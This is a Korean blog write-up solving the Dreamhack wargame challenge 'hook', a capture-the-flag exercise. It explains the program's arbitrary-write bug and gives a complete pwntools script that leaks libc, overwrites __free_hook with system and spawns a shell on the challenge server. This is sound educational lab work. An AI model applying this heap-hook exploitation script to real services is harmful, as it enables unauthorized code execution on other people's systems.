문제: https://dreamhack.io/wargame/challenges/52
hook
Desciption 이 문제는 작동하고 있는 서비스(hook)의 바이너리와 소스코드가 주어집니다. 프로그램의 취약점을 찾고 _hook Overwrite 공격 기법으로 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요.
dreamhack.io
📍 보호기법

64비트, Full RELRO, 카나리 있음, NX 활성화, PIE 없음
📍 소스코드
// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
long *ptr;
size_t size;
initialize();
printf("stdout: %p\n", stdout);
printf("Size: ");
scanf("%ld", &size);
ptr = malloc(size);
printf("Data: ");
read(0, ptr, size);
*(long *)*ptr = *(ptr+1);
free(ptr);
free(ptr);
system("/bin/sh");
return 0;
}
`stdout` 변수의 주소를 출력한다.
8바이트 변수 `size`에 `%ld`로 사용자 입력을 받고, `size`만큼 동적 할당을 받는다. 동적 할당한 공간에 `size`만큼 쓸 수 있다.
그리고 `*(long *)*ptr = *(ptr+1);`... 차근차근 보자.
- 좌변
- `ptr` = 어떤 주소를 들고 있는 포인터
- `*ptr` = 포인터가 가리키는 주소에 저장된 값
- `(long *)*ptr` = 포인터가 가리키는 주소에 저장된 값을 주소처럼 보고 `long`타입 포인터로 캐스팅
- `*(long *)*ptr` = 그 주소값에 저장된 값
- 우변
- `ptr+1` = `long`타입 포인터이므로 `ptr`에서 8바이트 떨어진 주소
- `*(ptr+1)` = 그 주소에 저장된 값
즉, `ptr`이 가리키는 주소에 있는 값을 또다른 주소로 해석하고, 그 주소에 `*(ptr+1)`의 값을 대입하는 코드이다.
그리고 코드의 마지막 부분에서 같은 `ptr`를 두 번 해제하고 있다.
끝에서 double free가 발생하므로, `system` 함수는 실행이 되지 않는다.
`__free_hook`을 셸을 실행하는 함수로 덮는 Hook Overwrite 식으로 풀어보자.
그러기 위해서는 `ptr`에 `__free_hook`의 주소를, `ptr+1`에 `system`의 주소를 써야 한다.
8바이트 크기의 `long` 타입 포인터 `ptr`에 쓸 수 있는 기회는 `read(0, ptr, size)` 한번뿐이므로, `size`를 16바이트로 주어서 `ptr`과 `ptr+1`에 동시에 쓸 수 있게 하면 될 것 같다.
📍 익스플로잇
혹시나 해서 보니까 원가젯이 3개나 있긴 했다.
$ one_gadget libc-2.23.so
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
`[rsp+0x30]` 이상을 건드려야 해서 사용은 불가능하다.
성실하게 스크립트를 짰다.
$ nm -D libc-2.23.so | grep stdout
00000000003c5620 D _IO_2_1_stdout_@@GLIBC_2.2.5
00000000003c5708 D stdout@@GLIBC_2.2.5
from pwn import *
p = remote("host3.dreamhack.games", 11598)
e = ELF('./hook')
libc = ELF('./libc-2.23.so')
# libc base 구하기
p.recvuntil("stdout: ")
stdout_leak = int(p.recvline()[:-1], 16)
stdout_offset = libc.symbols['_IO_2_1_stdout_']
libc_base = stdout_leak - stdout_offset
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
free_hook = libc_base + libc.symbols['__free_hook']
p.sendlineafter("Size: ", b'24')
payload = p64(free_hook)
payload += p64(system)
payload += p64(binsh)
p.sendafter("Data: ", payload)
p.interactive()

🚩
'𝐖𝐚𝐫𝐠𝐚𝐦𝐞𝐬 > 𝐏𝐰𝐧𝐚𝐛𝐥𝐞' 카테고리의 다른 글
| [드림핵] out_of_bound (0) | 2025.04.10 |
|---|---|
| pwnable 문제풀이 (0) | 2025.04.09 |
| [드림핵] oneshot (0) | 2025.04.08 |
| [드림핵] fho (0) | 2025.03.30 |
| [드림핵] basic_rop_x64 (0) | 2025.03.30 |